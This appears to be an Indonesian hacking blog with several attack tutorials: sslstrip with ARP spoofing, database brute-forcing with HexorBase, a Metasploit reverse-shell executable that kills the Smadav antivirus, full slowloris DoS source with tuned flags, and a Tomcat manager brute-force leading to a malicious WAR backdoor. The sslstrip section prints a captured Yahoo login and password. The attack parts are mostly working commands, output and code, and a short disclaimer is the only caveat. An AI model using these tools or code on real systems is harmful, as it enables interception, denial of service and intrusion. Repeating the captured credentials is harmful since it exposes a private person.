Warung Bebas
Showing posts with label attack. Show all posts
Showing posts with label attack. Show all posts

Thursday, April 19, 2012

sslstrip pwned htpps

ok langsung aja deh ...

caution : semua tutorial ini hanyalah untuk pengetahuan semata... segala tindak kejahatan atau penyalahgunaan dari tutorial ini bukan tanggung jawab saya ....

informasi target ..

ip address ane : 192.168.1.34
ip address target : 192.168.1.2
ip gateway : 192.168.1.1

options sesion ...


Code:
$ sslstrip --help

sslstrip 0.6 by Moxie Marlinspike
Usage: sslstrip <options>

Options:
-w <filename>, --write=<filename> Specify file to log to (optional).
-p , --post                       Log only SSL POSTs. (default)
-s , --ssl                        Log all SSL traffic to and from server.
-a , --all                        Log all SSL and HTTP traffic to and from server.
-l <port>, --listen=<port>        Port to listen on (default 10000).
-f , --favicon                    Substitute a lock favicon on secure requests.
-k , --killsessions               Kill sessions in progress.
-h                                Print this help message.

note :
-opsi -a digunakan untuk logging semua trafic ( http,https)
-opsi -s digunakan untuk logging traficc ssl saja
-opsi -l digunakan untuk listen port ( meredirect port 80 victim,defaultnya 10000 )
-opsi : -w : tempat file dump akan disimpan.

ok ... to the point ..

Code:
$ sslstrip -a -w passwd

sslstrip 0.6 by Moxie Marlinspike running...

sekarang jalankan arp ..

Code:
zee-laptop@IBTeam:~$ arpspoof -i eth0 -t 192.168.1.2 192.168.1.1
dengan keterangan syntax..
opsi -i ( interface )
opsi -t ip address secara spesifik ( target ) ( gateway )

klo bt ente lom ada arpspoof .. install dolo dsniff

Code:
$ sudo apt-get install dsniff

langkah berikutnya kita aktifkan ip forward ..

Spoiler! :

Code:
zee-laptop@IBTeam:~$ su root
root@IBTeam:/home/zee-laptop# echo 1 > /proc/sys/net/ipv4/ip_forward

redirect port victim ( 80 ) ke port sslstrip (10000)
Spoiler! :

Code:
root@IBTeam:/home/zee-laptop# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000




nanti tinggal buka jaring untuk liat hasil tangkapan ..

Spoiler! :

Code:
root@IBTeam:/home/zee-laptop# cat ssl | grep -i "passwd="

url+="?";if(valid_js()){var passwd=form.passwd.value;var challen
function hash2(form){var passwd=form.passwd.value
2011-03-26 22:12:10,004 SECURE POST Data (login.yahoo.com): .tries=1&.src=ym&.md5=&.hash=&.js=&.last=&promo=&.intl=us&.bypass=&.partner=&.u=1esn43t54k0a5&.v=0&.challenge=EzdOJPTgncnTmCU_K.IjpAtfSawf&.yplus=&.emailCode=&pkg=&stepid=&.ev=&hasMsgr=0&.chkP=Y&.done=http%3A%2F%2Fmail.yahoo.com&.pd=ym_ver%3D0%26c%3D%26ivt%3D%26sg%3D&login=nitharamadhan&passwd=imutkucintaku&.save=Sign+In

hmm berarti user = nitharamadhan ...
pass = imutkucintaku

sorry no ss coz koneksi ane cuma pake telkomflash paling murah,.. upload makan quota... thx....

Wednesday, April 18, 2012

Hexorbase

Hexorbase adalah aplikasi management database & sebuah aplikasi untuk melakukan audit sinonim dari beberapa database server ke lokasi terpusat.

Ia mampu melakukan query SQL dan serangan bruteforce terhadap server database yang umum (MySQL, SQLite, Microsoft SQL Server, Oracle, PostgreSQL)

HexorBase memungkinkan paket routing melalui proxy atau bahkan berkomunikasi dengan Metasploit,

Hexorbase di tulis menggunakan bahasa python dan berbentuk GUI.

Mari kita lakukan installasi :
Terminal action>>>

Dependensi :

Code:
sudo apt-get install python-qt4 python-mysqldb python-psycopg2 python-pymssql python-qscintilla2

Download file lewat svn dan di beri nama folder hexorbase :

Code:
svn checkout http://hexorbase.googlecode.com/svn/HexorBase/ hexorbase

kalo sudah, masuk ke folder hexorbase nya : )

Code:
cd hexorbase
Code:
python execute.py


Simulasi permainan :
Buatlah database mysql,postgreSQL atau apapun.
Pada mesin virtual anda, kemudian buatlah satu buah dictionary attack untuk melakukan brute force terhadapa database yang akan kita susupi.
Dalam permainan ini ber-imajinasilah bahwa anda terkoneksi kedalam jaringan NASA / FBI & bertugas untuk membongkar database serta mengambil data penting di dalamnya




Sumber

metasploits vs smadav

Exploitasi memang meresahkan, apalagi yang namanya payload. Bicara masalah payload nih, payload itu sebuah shell code yang terbungkus amplop (esktensi) yang mampu melakukan eksploitasi system. Cara ampuh untuk mencegah kejadian exploitation adalah dengan menggunakan antivirus.  

Pada kesempatan ini, saya akan mencoba mengetes seberapa baik Smadav (Anti Virus Lokal) bekerja. Ini adalah pride fighting (pertarungan harga diri)



Tidak perlu ada preparation ya? Karena ini hanya testing. Kalo mau mencoba sendiri silahkan. =)

Di dini saya memiliki VMware sebagai virtual machine saya untuk mengetest seberapa jauh kehebatan smadav dalam bekerja. MEngapa saya menggunakan VMware? Karena VMware dapat melakukan copy-paste dari host ke VMware dengan metode drag and drop. Tidak seperti Virtual Box. Hal ini mempermudah saya untuk mengirimkan file exploit ke target untuk selanjutnya di scan oleh antivirus setempat (smadav).

Dimulai dari membuat file exploit dengan perintah

root@red-dragon:~# msfpayload windows/meterpreter/reverse_tcp LHOST=10.21.0.234 LPORT=4444 X > /root/Desktop/exploit.exe

Saya taruh di desktop supaya mudah drag and drop nya =D
Kemudian menaruh file exploit ke komputer target. Dan saya scan file tersebut dengan smadav. Antivirus yang baik mampu membaca file tersebut sebagai virus, mengingat file ini berfungsi layaknya virus trojan horse.

Hasilnya mngejutkan.


Smadav tidak dapat membaca file tersebut sebagai virus. Padahal smadav sudah saya update!!!

Lalu apa yang terjadi jika saya jalankan file ini?
Sebelumnya saya telah menyiapkan exploit multi/handler dengan perintah

msf > use exploit/multi/handler 
msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LHOST 10.21.0.234 
LHOST => 10.21.0.234
msf  exploit(handler) > set LPORT 4444 
LPORT => 4444
msf  exploit(handler) > exploit -j

Pada msfconsole

Dan setelah file exploit.exe di run, ini yang akan terjadi


Batapa berbahayanya jika ini terjadi. Anda bisa melihat post sebelumnya tentang messing with meterpreter pada blog ini.

Contoh, saya akan mencoba mengakhiri proses smadav
meterpreter > ps

Process list
============

 PID   Name               Arch  Session  User                           Path
 ---   ----               ----  -------  ----                           ----
 0     [System Process]                                                 
 1016  svchost.exe        x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\System32\svchost.exe
 1076  svchost.exe        x86   0                                       C:\WINDOWS\system32\svchost.exe
 1124  TPAutoConnSvc.exe  x86   0        NT AUTHORITY\SYSTEM            C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
 1128  svchost.exe        x86   0                                       C:\WINDOWS\system32\svchost.exe
 1420  spoolsv.exe        x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\spoolsv.exe
 1444  alg.exe            x86   0                                       C:\WINDOWS\System32\alg.exe
 1564  exploit.exe        x86   0        ROOT-11E5DB48A8\Administrator  C:\Documents and Settings\Administrator\Desktop\exploit.exe
 1584  explorer.exe       x86   0        ROOT-11E5DB48A8\Administrator  C:\WINDOWS\Explorer.EXE
 1676  VMwareTray.exe     x86   0        ROOT-11E5DB48A8\Administrator  C:\Program Files\VMware\VMware Tools\VMwareTray.exe
 1684  vmtoolsd.exe       x86   0        ROOT-11E5DB48A8\Administrator  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 1692  rundll32.exe       x86   0        ROOT-11E5DB48A8\Administrator  C:\WINDOWS\system32\rundll32.exe
 1700  SM?RTP.exe         x86   0        ROOT-11E5DB48A8\Administrator  C:\Program Files\Smadav\SM?RTP.exe
 1940  svchost.exe        x86   0                                       C:\WINDOWS\system32\svchost.exe
 1972  TPAutoConnect.exe  x86   0        ROOT-11E5DB48A8\Administrator  C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
 316   vmtoolsd.exe       x86   0        NT AUTHORITY\SYSTEM            C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 4     System             x86   0                                       
 536   wuauclt.exe        x86   0        ROOT-11E5DB48A8\Administrator  C:\WINDOWS\system32\wuauclt.exe
 560   smss.exe           x86   0        NT AUTHORITY\SYSTEM            \SystemRoot\System32\smss.exe
 608   csrss.exe          x86   0        NT AUTHORITY\SYSTEM            \??\C:\WINDOWS\system32\csrss.exe
 632   winlogon.exe       x86   0        NT AUTHORITY\SYSTEM            \??\C:\WINDOWS\system32\winlogon.exe
 676   services.exe       x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\services.exe
 688   lsass.exe          x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\lsass.exe
 844   vmacthlp.exe       x86   0        NT AUTHORITY\SYSTEM            C:\Program Files\VMware\VMware Tools\vmacthlp.exe
 860   svchost.exe        x86   0        NT AUTHORITY\SYSTEM            C:\WINDOWS\system32\svchost.exe
 924   svchost.exe        x86   0                                       C:\WINDOWS\system32\svchost.exe
 984   wscntfy.exe        x86   0        ROOT-11E5DB48A8\Administrator  C:\WINDOWS\system32\wscntfy.exe

meterpreter > kill 1700
Killing: 1700
meterpreter > 

Perhatikan tray icon pada windows!!!

Sebelum


Sesudah [SMADAV telah TERBUNUH oleh meterpreter]



Jadi apa kesimpulannya?

Anda sendiri yang menentukan.

slowloris.pl


slowloris.pl , sebenarnya adalah tools yang di buat dengan perl yang di pergunakan oleh lamer untuk melakukan serangan DOS ke HTTPD service ( apache ) pada port 80 secara random dan hebatnya lagi , tidak memerlukan bandwidth yang begitu besar.

kronologisnya kira-kira begini ..
ane test di localhost aja Smile

pertama-tama lamer akan melakukan port scanning

Code:
zee-laptop@IBTeam:~$ nmap -A 127.0.0.1 -PN

Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-03-18 12:24 WIT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00053s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE    VERSION
[color=#FF0000]80/tcp   open [/color] http       Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-bt0 with Suhosin-Patch)
|_html-title: Site doesn't have a title (text/html).
| http-methods: Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
5432/tcp open  postgresql PostgreSQL DB 8.3.9

perhatikan hasil nmap yang saya beri warna merah ...ya anda benar dia mencari open port 80 yang tampaknya sudah pasti kebuka di setiap web server manapun.

kemudian si lamer akan menjalankan aksinya dengan menggunakan slowloris.pl.
awalnya dia bakalan ngetes terlebih dahulu, kira-kira server ini vurln atau tidak ..

Code:
perl slowloris.pl -dns [ web domain/ip target ] -port 80 -test

Code:
sudo perl slowloris.pl -dns 127.0.0.1 -port 80 -test

Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
Defaulting to a 5 second tcp connection timeout.
Multithreading enabled.
This test could take up to 14.3666666666667 minutes.
Connection successful, now comes the waiting game...
Trying a 2 second delay:
        Worked.
Trying a 30 second delay:
        Worked.
Trying a 90 second delay:
        Worked.
Trying a 240 second delay:
        Worked.
Trying a 500 second delay:
        Worked.
Remote server closed socket.
Use 500 seconds for -timeout.

setelah mereka mengetahui limi timeout yg sesuai dengan situs target , si lamer akan langsung melakukan kegiatan inti , yaitu mengirimkan paket flood secara random

format yang sudah ane tes di beberapa situs lokal maupun luar dan 100 persen :
Code:
perl slowloris.pl -dns [target] -port 80 -timeout 500 -num 500 -tcpto 5 -httpready

keterangan :

* -dns : the target ( dapat berupa IP atau domain )

* -port : port yg di gunakan oleh webserver ( 80 )

* -timeout: nilai waktu delay timeout untuk setiap paket thread, penantian reacquiring ruang tcp di server. pada langkah pengetesan, Nilai ini diisi dengan flag -test

* -num : jumlah soket yang digunakan untuk mendapatkan koneksi.Biasanya server apache akan membutuhkan nilai antara 400-600 atau tergantung pada konfigurasi

* -tcpto : TCP Timeout.

* -httpready: HTTPReady di gunakan apache untuk buffer connections. attacker dapat melewati perlindungan ini dengan mengirimkan permintaan POST bukan GET atau HEAD.

Code:
zee-laptop@IBTeam:~$ sudo perl slowloris.pl -dns 127.0.0.1 -port 80 -timeout 500 -num 500 -tcpto 5 -httpready
[sudo] password for zee-laptop:

Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
Multithreading enabled.
Connecting to 127.0.0.1:80 every 500 seconds with 500 sockets:
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Building sockets.
                Sending data.
Current stats:  Slowloris has now sent 99 packets successfully.
This thread now sleeping for 500 seconds...

Hasil yang ane dapet ketika membuka localhost di modzilla ...

PHP Code:
Network Timeout
The server at 127.0.0.1 is taking too long to respond
.The requested site did not respond to a connection request and the browser has stopped waiting for a reply
    
* Could the server be experiencing high demand or a temporary outage?  Try again later.
    * 
Are you unable to browse other sites? Check the computer's network connection.
    * Is your computer or network protected by a firewall or proxy?  Incorrect settings can interfere with Web browsing.
    * Still having trouble? Consult your network administrator or Internet provider for assistance. 

si lamer berhasil... nah untuk menanganinya ane cuma setting iptables dikit ..

Code:
zee-laptop@IBTeam:~$ sudo iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 20 --connlimit-mask 32 -j DROP

dengan arti kata ane membatasi koneksi limit pada per host pada port 80 menjadi 20 ... nah mari kita diskusikan siapa tau teman-teman memiliki cara yang lain nya Smile

Untuk slowloris.pl ini source nya

Code:
#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;

$SIG{'PIPE'} = 'IGNORE';    #Ignore broken pipe errors

print <<EOTEXT;

Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
EOTEXT

my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
my $result = GetOptions(
    'shost=s'   => \$shost,
    'dns=s'     => \$host,
    'httpready' => \$httpready,
    'num=i'     => \$connections,
    'cache'     => \$cache,
    'port=i'    => \$port,
    'https'     => \$ssl,
    'tcpto=i'   => \$tcpto,
    'test'      => \$test,
    'timeout=i' => \$timeout,
    'version'   => \$version,
);

if ($version) {
    print "Version 0.7\n";
    exit;
}

unless ($host) {
    print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
    print "\n\tType 'perldoc $0' for help with options.\n\n";
    exit;
}

unless ($port) {
    $port = 80;
    print "Defaulting to port 80.\n";
}

unless ($tcpto) {
    $tcpto = 5;
    print "Defaulting to a 5 second tcp connection timeout.\n";
}

unless ($test) {
    unless ($timeout) {
        $timeout = 100;
        print "Defaulting to a 100 second re-try timeout.\n";
    }
    unless ($connections) {
        $connections = 1000;
        print "Defaulting to 1000 connections.\n";
    }
}

my $usemultithreading = 0;
if ( $Config{usethreads} ) {
    print "Multithreading enabled.\n";
    $usemultithreading = 1;
    use threads;
    use threads::shared;
}
else {
    print "No multithreading capabilites found!\n";
    print "Slowloris will be slower than normal as a result.\n";
}

my $packetcount : shared     = 0;
my $failed : shared          = 0;
my $connectioncount : shared = 0;

srand() if ($cache);

if ($shost) {
    $sendhost = $shost;
}
else {
    $sendhost = $host;
}
if ($httpready) {
    $method = "POST";
}
else {
    $method = "GET";
}

if ($test) {
    my @times = ( "2", "30", "90", "240", "500" );
    my $totaltime = 0;
    foreach (@times) {
        $totaltime = $totaltime + $_;
    }
    $totaltime = $totaltime / 60;
    print "This test could take up to $totaltime minutes.\n";

    my $delay   = 0;
    my $working = 0;
    my $sock;

    if ($ssl) {
        if (
            $sock = new IO::Socket::SSL(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    else {
        if (
            $sock = new IO::Socket::INET(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    if ($working) {
        if ($cache) {
            $rand = "?" . int( rand(99999999999999) );
        }
        else {
            $rand = "";
        }
        my $primarypayload =
            "GET /$rand HTTP/1.1\r\n"
          . "Host: $sendhost\r\n"
          . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
          . "Content-Length: 42\r\n";
        if ( print $sock $primarypayload ) {
            print "Connection successful, now comes the waiting game...\n";
        }
        else {
            print
"That's odd - I connected but couldn't send the data to $host:$port.\n";
            print "Is something wrong?\nDying.\n";
            exit;
        }
    }
    else {
        print "Uhm... I can't connect to $host:$port.\n";
        print "Is something wrong?\nDying.\n";
        exit;
    }
    for ( my $i = 0 ; $i <= $#times ; $i++ ) {
        print "Trying a $times[$i] second delay: \n";
        sleep( $times[$i] );
        if ( print $sock "X-a: b\r\n" ) {
            print "\tWorked.\n";
            $delay = $times[$i];
        }
        else {
            if ( $SIG{__WARN__} ) {
                $delay = $times[ $i - 1 ];
                last;
            }
            print "\tFailed after $times[$i] seconds.\n";
        }
    }

    if ( print $sock "Connection: Close\r\n\r\n" ) {
        print "Okay that's enough time. Slowloris closed the socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    else {
        print "Remote server closed socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    if ( $delay < 166 ) {
        print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delay seconds) and it generally
takes between 200-500 threads for most servers and assuming any latency at
all...  you might have trouble using Slowloris against this target.  You can
tweak the -timeout flag down to less than 10 seconds but it still may not
build the sockets in time.
EOSUCKS2BU
    }
}
else {
    print
"Connecting to $host:$port every $timeout seconds with $connections sockets:\n";

    if ($usemultithreading) {
        domultithreading($connections);
    }
    else {
        doconnections( $connections, $usemultithreading );
    }
}

sub doconnections {
    my ( $num, $usemultithreading ) = @_;
    my ( @first, @sock, @working );
    my $failedconnections = 0;
    $working[$_] = 0 foreach ( 1 .. $num );    #initializing
    $first[$_]   = 0 foreach ( 1 .. $num );    #initializing
    while (1) {
        $failedconnections = 0;
        print "\t\tBuilding sockets.\n";
        foreach my $z ( 1 .. $num ) {
            if ( $working[$z] == 0 ) {
                if ($ssl) {
                    if (
                        $sock[$z] = new IO::Socket::SSL(
                            PeerAddr => "$host",
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                else {
                    if (
                        $sock[$z] = new IO::Socket::INET(
                            PeerAddr => "$host",
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                        $packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                if ( $working[$z] == 1 ) {
                    if ($cache) {
                        $rand = "?" . int( rand(99999999999999) );
                    }
                    else {
                        $rand = "";
                    }
                    my $primarypayload =
                        "$method /$rand HTTP/1.1\r\n"
                      . "Host: $sendhost\r\n"
                      . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
                      . "Content-Length: 42\r\n";
                    my $handle = $sock[$z];
                    if ($handle) {
                        print $handle "$primarypayload";
                        if ( $SIG{__WARN__} ) {
                            $working[$z] = 0;
                            close $handle;
                            $failed++;
                            $failedconnections++;
                        }
                        else {
                            $packetcount++;
                            $working[$z] = 1;
                        }
                    }
                    else {
                        $working[$z] = 0;
                        $failed++;
                        $failedconnections++;
                    }
                }
                else {
                    $working[$z] = 0;
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print "\t\tSending data.\n";
        foreach my $z ( 1 .. $num ) {
            if ( $working[$z] == 1 ) {
                if ( $sock[$z] ) {
                    my $handle = $sock[$z];
                    if ( print $handle "X-a: b\r\n" ) {
                        $working[$z] = 1;
                        $packetcount++;
                    }
                    else {
                        $working[$z] = 0;
                        #debugging info
                        $failed++;
                        $failedconnections++;
                    }
                }
                else {
                    $working[$z] = 0;
                    #debugging info
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print
"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
        sleep($timeout);
    }
}

sub domultithreading {
    my ($num) = @_;
    my @thrs;
    my $i                    = 0;
    my $connectionsperthread = 50;
    while ( $i < $num ) {
        $thrs[$i] =
          threads->create( \&doconnections, $connectionsperthread, 1 );
        $i += $connectionsperthread;
    }
    my @threadslist = threads->list();
    while ( $#threadslist > 0 ) {
        $failed = 0;
    }
}

__END__

=head1 TITLE

Slowloris

=head1 VERSION

Version 0.7 Beta

=head1 DATE

06/17/2009

=head1 AUTHOR

RSnake <h@ckers.org> with threading from John Kinsella

=head1 ABSTRACT

Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service.  It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively.  It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons.

=head1 AFFECTS

Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...?

=head1 NOT AFFECTED

IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?

=head1 DESCRIPTION

Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data.  Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts.  There is an added function to help you get started with finding the right sized timeouts as well.

As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances.  Think of Slowloris as the HTTP equivalent of a SYN flood.

=head2 Testing

If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:

=head3 Testing Example:

./slowloris.pl -dns www.example.com -port 80 -test

This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for.  If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing).

=head2 HTTP DoS

Once you find a timeout window, you can tune Slowloris to use certain timeout windows.  For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds.  The following example uses 500 sockets.  Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration.  Some are less than 300.  The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision.  The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful.  Slowloris has no way to identify if it's successful or not though.

=head3 HTTP DoS Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5

=head2 HTTPReady Bypass

HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch.

=head3 HTTPReady Bypass Example

./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready

=head2 Stealth Host DoS

If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable.  This way the logs that are created will go to a different virtual host log file, but only if they are kept separately.

=head3 Stealth Host DoS Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com

=head2 HTTPS DoS

Slowloris does support SSL/TLS on an experimental basis with the -https switch.  The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development.  Your mileage may vary.

=head3 HTTPS DoS Example:

./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https

=head2 HTTP Cache

Slowloris does support cache avoidance on an experimental basis with the -cache switch.  Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources.  The usefulness of this particular option has not been thoroughly tested.  Your mileage may vary.

=head3 HTTP Cache Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache

=head1 Issues

Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation.  They may be ways around this, but not in this version at this time.  Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested.

Slowloris isn't completely quiet either, because it can't be.  Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder).  So it's not invisible if the traffic to the site is typically fairly low.  On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture.

For some reason Slowloris works way better if run from a *Nix box than from Windows.  I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number.  If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems.  Either way, this program seems to work best if run from FreeBSD. 

Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors.  So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another.  You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too.

=head1 What is a slow loris?

What exactly is a slow loris?  It's an extremely cute but endangered mammal that happens to also be poisonous.  Check this out:

http://www.youtube.com/watch?v=rLdQ3UhLoD4

tomcat didunia IT


dari judulnya ane rasa memang sangat menarik, betapa kita tau beberapa waktu ini , Indonesia di kejutkan dengan adanya tomcat. Serangga yang mampu memberikan rasa melepuh terhadap kulit manusia. Ok ternyata tomcat seperti ini juga terdapat di dalam dunia IT. vulnerability yang sangat berbahaya .. Pada kesempatan ini ane mau membahas sebuah simulasi hacking yang ane beri judul ..
“TOMCAT DEADLY BITE”
PRESIMULATION
= apa itu tomcat ?
tomcat adalah web server yang didevelop oleh apache group. Biasanya tomcat di install berpasangan dengan web server apache untuk di jadikan web proxy.
Ok spesifikasi simulasi ini
1. Information gathering
2. Bruteforcing
3. Backdooring ( exploitation )
4. Privilage Escalation
5. Maintaining access
Ok kita mulai saja

1. Information gathering

Untuk mengumpulkan informasi kita gunakan nmap.. kali ini saya mencoba untuk melakukan nmap untuk melihat berapa host yang up

karena sebagai simulator tentunya saya sudah mempersiapkan target… kali ini target kita ada ip 192.168.1.6 berbasis sistem ubuntu server
perhatikan pada baris
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Sudah terlihat server target memiliki service apache tomcat running di port8080…

2. Bruteforcing

Pada dasarnya tomcat memiliki halaman administrator yang akan memungkinkan kita mengakses panel adminnya. untuk itu saya gunakan metode bruteforcinguntuk mendapat akses tersebut. Kali ini saya pakai medusa. Artikel tentang bruteforcing medusa sudah banyak saya bahas.
Karena medusa membutuhkan user.list dan pass.list maka saya telah membuatnya terlebih dahulu …
root@eichel:~# cat usertomcat
tes
test
admin
money
administrator
dodol
admin1
admin123
admin1234
root@eichel:~# cat passwordtomcat
test
tes
monkey
manager
admin
manager
command
tes1
admin123
ok berbasis dua file tersebut saya mencoba melakukan bruteforcing …dengan asumsi
(-M) modul = http
(-h) host, ip atau nama
(-U) usename.lst ( kamus )
(-P) password.lst ( kamus )
(-e ns) [n] =coba tanpa password, [s] kemungkinan password = username
(-n) port
(-m) direktori path ( manager/html adalah default admin page dari tomcat )
medusa tomcat bruteforcing
dari sekian banyak percobaan ternyata salah satu sukses..
ok kita dapatkan sukses pada user : admin dan pass : admin
kita buka di browser 192.168.1.6:8080
kemudian masuk ke 192.168.1.6:8080/manager/html masukan user:pass = admin:admin
ok anda berhasil memasuki panel admin tomcat.

3. Backdooring ( exploitation )

Langkah selanjutnya attacker akan membuat trigered payload untuk membuat koneksi ke shell target. Hmm tujuan agar kita dapat mengekusi langkah selanjut dengan mulus dan perlu memasuki system korban walau hanya dengan user non aktif. Dalam hal ini saya memakai metasploit :)
ingat tadi seperti yang kita tahu bersama bahwa sistem target menggunakan linux x86 karena itu payload saya atur ke linux x86 dengan LHOST = ip attacker ( 192.168.1.10 ) dan menggunakan port 4545 untuk membangunbind connection reverse tcp
PREPARING FOR LISTENER
ok kita buka msfconsole kita kemudian menggunakan exploit/multi/handlerdengan opsi-opsi yang dicocokan dengan backdoor.war yang telah kita buat pada langkah sebelumnya …
hmm pastikan opsi – opsi sudah benar …
saatnya kita jalankan listener …
UPLOAD BACKDOOR.WAR INTO THE TARGET DIRECTORY
sekarang kita akan mengupload kenadeh.war yang telah kita buat dengan msfpayload tadi .. ok pada panel admin tomcat server target anda sudah seharusnya melihat adanya form upload dengan ekstensi war file. ok kita upload dari dir kita menuju ke dir target. pilih file yang hendak di upload kemudian klik deploy..
jika kita berhasil menguploadnya, war file adalah file ekstrakan seperti halnya zip, rar , dll. sistem tomcat dengan otomatis akan mengekstrak file war dalam hal ini “kenadeh.war” sehingga akan terbentuk sebuah direktori “kenadeh“. Dalam tomcat ini disebut sebagai istilah “deploy“
Seperti yang sudah saya jelaskan sebelumnya bahwasanya file war itu adalah file archive.. karena itu kita harus tau nama backdoor triggering yang sebenarnya. Adabaiknya kita ekstrak di host kita terlebih dahulu sehingga kita tahu kita harus memanggil file dengan nama apa.
root@eichel:~# unzip kenadeh.war
Archive: kenadeh.war
inflating: META-INF/MANIFEST.MF
inflating: WEB-INF/web.xml
inflating: cazyptnwpvlazb.jsp
inflating: CBMazgyh.txt
hmm perhatikan file dengan ekstensi jsp. disitulah anda akan memanggil backdoor anda… kita tidak perlu mengekstrak file war di server target.. ingat tomcat telah melakukan ekstrak secara otomatis.. karena itu sudah dipastikan file cazyptnwpvlazb.jsp telah berada pada direktori tomcat dan siap diesekusi.
